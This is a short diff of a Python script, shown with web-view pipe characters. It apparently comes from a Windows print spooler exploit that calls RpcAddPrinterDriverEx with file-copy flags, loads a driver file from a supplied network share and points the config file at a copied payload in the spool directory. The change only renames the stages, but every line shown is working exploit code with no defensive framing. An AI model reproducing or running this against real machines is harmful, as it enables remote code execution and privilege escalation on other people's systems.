|
|
|
@ -72,7 +72,7 @@ def main(dce, pDriverPath, share, handle=NULL): |
|
|
|
|
container_info['Level'] = 2 |
|
|
|
|
container_info['DriverInfo']['tag'] = 2 |
|
|
|
|
container_info['DriverInfo']['Level2']['cVersion'] = 3 |
|
|
|
|
container_info['DriverInfo']['Level2']['pName'] = "1234\x00" |
|
|
|
|
container_info['DriverInfo']['Level2']['pName'] = "Stage0\x00" |
|
|
|
|
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" |
|
|
|
|
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' |
|
|
|
|
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) |
|
|
|
@ -85,6 +85,7 @@ def main(dce, pDriverPath, share, handle=NULL): |
|
|
|
|
print("[*] Stage0: {0}".format(resp['ErrorCode'])) |
|
|
|
|
|
|
|
|
|
# Just ask for a new driver with already installed files |
|
|
|
|
container_info['DriverInfo']['Level2']['pName'] = "Stage1\x00" |
|
|
|
|
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename) |
|
|
|
|
flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000 |
|
|
|
|
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) |
|
|
|
|